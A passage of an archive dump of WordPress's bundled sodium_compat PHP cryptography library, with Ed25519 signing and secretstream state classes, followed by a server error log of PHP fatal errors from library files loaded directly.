            ParagonIE_Sodium_Core_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk);
    }
}
SodiumException.php000064400000000236151024233030010366 0ustar00<?php

if (!class_exists('SodiumException', false)) {
    /**
     * Class SodiumException
     */
    class SodiumException extends Exception
    {

    }
}
Core32/SecretStream/State.php000064400000007110151024233030011763 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_SecretStream_State
 */
class ParagonIE_Sodium_Core32_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core32_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core32_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core32_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            ParagonIE_Sodium_Core32_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core32_Util::load_4(
            ParagonIE_Sodium_Core32_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
Core32/Ed25519.php000064400000036567151024233030007262 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core32_Curve25519')) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core32_Ed25519
 */
abstract class ParagonIE_Sodium_Core32_Ed25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime($pk);
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );


        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        self::hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        self::hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
            self::substr($pk, 0, 32) .
            $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        static $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        /** @var array<int, int> $L */
        $c = 0;
        $n = 1;
        $i = 32;

        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        static $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var array<int, array<int, int>> $blocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
Core32/error_log000064400000057202151024233030007515 0ustar00[28-Oct-2025 03:35:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[28-Oct-2025 03:39:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[28-Oct-2025 03:41:36 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[28-Oct-2025 03:45:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[28-Oct-2025 03:46:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[28-Oct-2025 03:51:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[28-Oct-2025 03:52:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[28-Oct-2025 03:53:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[28-Oct-2025 03:56:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[28-Oct-2025 04:00:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[28-Oct-2025 04:07:32 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[28-Oct-2025 08:02:22 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[28-Oct-2025 08:02:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[01-Nov-2025 18:55:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[01-Nov-2025 18:56:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[01-Nov-2025 18:56:16 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[01-Nov-2025 19:06:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[01-Nov-2025 19:08:42 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[01-Nov-2025 19:17:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[01-Nov-2025 19:18:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[01-Nov-2025 19:20:02 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[01-Nov-2025 19:24:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[01-Nov-2025 19:24:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[01-Nov-2025 19:38:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[01-Nov-2025 23:03:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10
